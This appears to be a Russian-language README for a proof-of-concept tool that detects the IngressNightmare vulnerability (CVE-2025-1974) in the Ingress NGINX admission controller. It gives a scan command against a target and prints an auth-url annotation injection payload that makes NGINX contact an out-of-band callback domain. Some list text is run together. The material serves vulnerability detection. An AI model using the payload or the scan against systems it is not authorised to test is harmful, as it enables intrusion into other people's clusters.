
Инструмент доказательства концепции для обнаружения IngressNightmare (CVE-2025-1974) с помощью (неинтрузивных) активных средств.
Этот инструмент предоставляет возможность неинвазивного обнаружения цепочки уязвимостей IngressNightmare (CVE-2025-1974), затрагивающей Ingress NGINX Controller. Он специально использует вектор внедрения аннотации auth-url (CVE-2025-24514) для проверки наличия этой критической уязвимости без выполнения произвольного кода.
Цепочка уязвимостей IngressNightmare позволяет злоумышленникам внедрять произвольные директивы конфигурации NGINX через различные поля аннотаций Ingress. Когда эти вредоносные ресурсы Ingress обрабатываются контроллером допуска (admission controller), внедренные директивы выполняются на этапе проверки конфигурации NGINX (nginx -t).
Данный PoC специально эксплуатирует уязвимость аннотации auth-url, внедряя директиву error_log с сервером syslog, указывающим на подконтрольный атакующему домен. Во время проверки конфигурации NGINX будет:
Эта активность по разрешению DNS предоставляет надежный сигнал о том, что цель уязвима, без необходимости выполнения кода или нарушения работы сервиса.
Настройте DNS callback слушатель с помощью Burp Collaborator, interactsh или любого сервиса мониторинга DNS.
Запустите инструмент обнаружения:
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
Если уязвимость присутствует, вы заметите попытки разрешения DNS вашего DNS callback домена:

Инструмент формирует специально созданный объект AdmissionReview, содержащий ресурс Ingress со следующей полезной нагрузкой внедрения:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
Эта полезная нагрузка:
#) для завершения URLerror_log с syslog, указывающим на DNS callback доменПри обработке уязвимым контроллером допуска это приводит к исходящему DNS-запросу, который подтверждает наличие уязвимости.
Этот инструмент только обнаруживает наличие уязвимости и не пытается эксплуатировать ее для выполнения произвольного кода.